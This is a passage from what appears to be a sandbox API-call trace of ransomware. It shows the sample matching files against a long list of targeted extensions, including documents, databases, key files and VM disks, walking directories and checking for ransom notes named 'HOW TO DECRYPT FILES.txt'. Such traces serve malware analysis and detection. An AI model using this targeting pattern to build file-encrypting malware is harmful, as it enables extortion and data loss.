(pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ost") returned 0 [0144.452] lstrlenA (lpString="*.ost") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.idx") returned 0 [0144.452] lstrlenA (lpString="*.idx") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dbx") returned 0 [0144.452] lstrlenA (lpString="*.dbx") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.sql") returned 0 [0144.452] lstrlenA (lpString="*.sql") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mdb") returned 0 [0144.452] lstrlenA (lpString="*.mdb") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.fdb") returned 0 [0144.452] lstrlenA (lpString="*.fdb") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.wab") returned 0 [0144.452] lstrlenA (lpString="*.wab") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dat") returned 0 [0144.452] lstrlenA (lpString="*.dat") returned 5 [0144.452] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.txt") returned 0 [0144.452] lstrlenA (lpString="*.txt") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.jpeg") returned 0 [0144.453] lstrlenA (lpString="*.jpeg") returned 6 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.jpg") returned 0 [0144.453] lstrlenA (lpString="*.jpg") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.png") returned 0 [0144.453] lstrlenA (lpString="*.png") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.php") returned 0 [0144.453] lstrlenA (lpString="*.php") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.cs") returned 0 [0144.453] lstrlenA (lpString="*.cs") returned 4 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.cpp") returned 0 [0144.453] lstrlenA (lpString="*.cpp") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.rar") returned 0 [0144.453] lstrlenA (lpString="*.rar") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.zip") returned 0 [0144.453] lstrlenA (lpString="*.zip") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.html") returned 0 [0144.453] lstrlenA (lpString="*.html") returned 6 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.htm") returned 0 [0144.453] lstrlenA (lpString="*.htm") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xlsx") returned 0 [0144.453] lstrlenA (lpString="*.xlsx") returned 6 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xls") returned 0 [0144.453] lstrlenA (lpString="*.xls") returned 5 [0144.453] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mp4") returned 0 [0144.453] lstrlenA (lpString="*.mp4") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ppt") returned 0 [0144.454] lstrlenA (lpString="*.ppt") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pptx") returned 0 [0144.454] lstrlenA (lpString="*.pptx") returned 6 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.doc") returned 0 [0144.454] lstrlenA (lpString="*.doc") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dot") returned 0 [0144.454] lstrlenA (lpString="*.dot") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.docx") returned 0 [0144.454] lstrlenA (lpString="*.docx") returned 6 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.7z") returned 0 [0144.454] lstrlenA (lpString="*.7z") returned 4 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.tar") returned 0 [0144.454] lstrlenA (lpString="*.tar") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.bz2") returned 0 [0144.454] lstrlenA (lpString="*.bz2") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.gz") returned 0 [0144.454] lstrlenA (lpString="*.gz") returned 4 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mkv") returned 0 [0144.454] lstrlenA (lpString="*.mkv") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.eml") returned 0 [0144.454] lstrlenA (lpString="*.eml") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.msg") returned 0 [0144.454] lstrlenA (lpString="*.msg") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.edb") returned 0 [0144.454] lstrlenA (lpString="*.edb") returned 5 [0144.454] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.accdb") returned 0 [0144.455] lstrlenA (lpString="*.accdb") returned 7 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.odb") returned 0 [0144.455] lstrlenA (lpString="*.odb") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.java") returned 0 [0144.455] lstrlenA (lpString="*.java") returned 6 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.asm") returned 0 [0144.455] lstrlenA (lpString="*.asm") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pfx") returned 0 [0144.455] lstrlenA (lpString="*.pfx") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pem") returned 0 [0144.455] lstrlenA (lpString="*.pem") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.p12") returned 0 [0144.455] lstrlenA (lpString="*.p12") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.gpg") returned 0 [0144.455] lstrlenA (lpString="*.gpg") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.vsd") returned 0 [0144.455] lstrlenA (lpString="*.vsd") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.odg") returned 0 [0144.455] lstrlenA (lpString="*.odg") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.raw") returned 0 [0144.455] lstrlenA (lpString="*.raw") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.nef") returned 0 [0144.455] lstrlenA (lpString="*.nef") returned 5 [0144.455] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.svg") returned 0 [0144.456] lstrlenA (lpString="*.svg") returned 5 [0144.456] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.psd") returned 0 [0144.456] lstrlenA (lpString="*.psd") returned 5 [0144.456] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.vmx") returned 0 [0144.456] lstrlenA (lpString="*.vmx") returned 5 [0144.456] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.vmdk") returned 0 [0144.456] lstrlenA (lpString="*.vmdk") returned 6 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.vdi") returned 0 [0144.463] lstrlenA (lpString="*.vdi") returned 5 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.lay6") returned 0 [0144.463] lstrlenA (lpString="*.lay6") returned 6 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mpeg") returned 0 [0144.463] lstrlenA (lpString="*.mpeg") returned 6 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.djvu") returned 0 [0144.463] lstrlenA (lpString="*.djvu") returned 6 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.tiff") returned 0 [0144.463] lstrlenA (lpString="*.tiff") returned 6 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.backup") returned 0 [0144.463] lstrlenA (lpString="*.backup") returned 8 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.pdf") returned 0 [0144.463] lstrlenA (lpString="*.pdf") returned 5 [0144.463] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.cert") returned 0 [0144.463] lstrlenA (lpString="*.cert") returned 6 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.docm") returned 0 [0144.464] lstrlenA (lpString="*.docm") returned 6 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xlsm") returned 0 [0144.464] lstrlenA (lpString="*.xlsm") returned 6 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.dwg") returned 0 [0144.464] lstrlenA (lpString="*.dwg") returned 5 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.nd") returned 0 [0144.464] lstrlenA (lpString="*.nd") returned 4 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.tlg") returned 0 [0144.464] lstrlenA (lpString="*.tlg") returned 5 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.lgb") returned 0 [0144.464] lstrlenA (lpString="*.lgb") returned 5 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mov") returned 0 [0144.464] lstrlenA (lpString="*.mov") returned 5 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.xdw") returned 0 [0144.464] lstrlenA (lpString="*.xdw") returned 5 [0144.464] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ods") returned 0 [0144.464] lstrlenA (lpString="*.ods") returned 5 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.wav") returned 0 [0144.465] lstrlenA (lpString="*.wav") returned 5 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.mp3") returned 0 [0144.465] lstrlenA (lpString="*.mp3") returned 5 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.aiff") returned 0 [0144.465] lstrlenA (lpString="*.aiff") returned 6 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.flac") returned 0 [0144.465] lstrlenA (lpString="*.flac") returned 6 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.m4a") returned 0 [0144.465] lstrlenA (lpString="*.m4a") returned 5 [0144.465] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.csv") returned 0 [0144.465] lstrlenA (lpString="*.csv") returned 5 [0144.465] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0144.465] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.465] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0144.465] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0144.465] lstrcmpiA (lpString1="", lpString2="94308059B57B3142E455B38A6EB92015") returned -1 [0144.465] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0144.465] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0144.466] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0144.466] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0144.466] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0144.467] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0144.467] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.467] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x203, cFileName="MetaData", cAlternateFileName="")) returned 0 [0144.467] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0144.467] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 0 [0144.467] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0144.467] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0144.467] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0144.467] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="Roaming", cAlternateFileName="")) returned 1 [0144.467] lstrcmpA (lpString1=".", lpString2="Roaming") returned -1 [0144.467] lstrcmpA (lpString1="..", lpString2="Roaming") returned -1 [0144.467] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\*.*") returned="*.*" [0144.468] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, 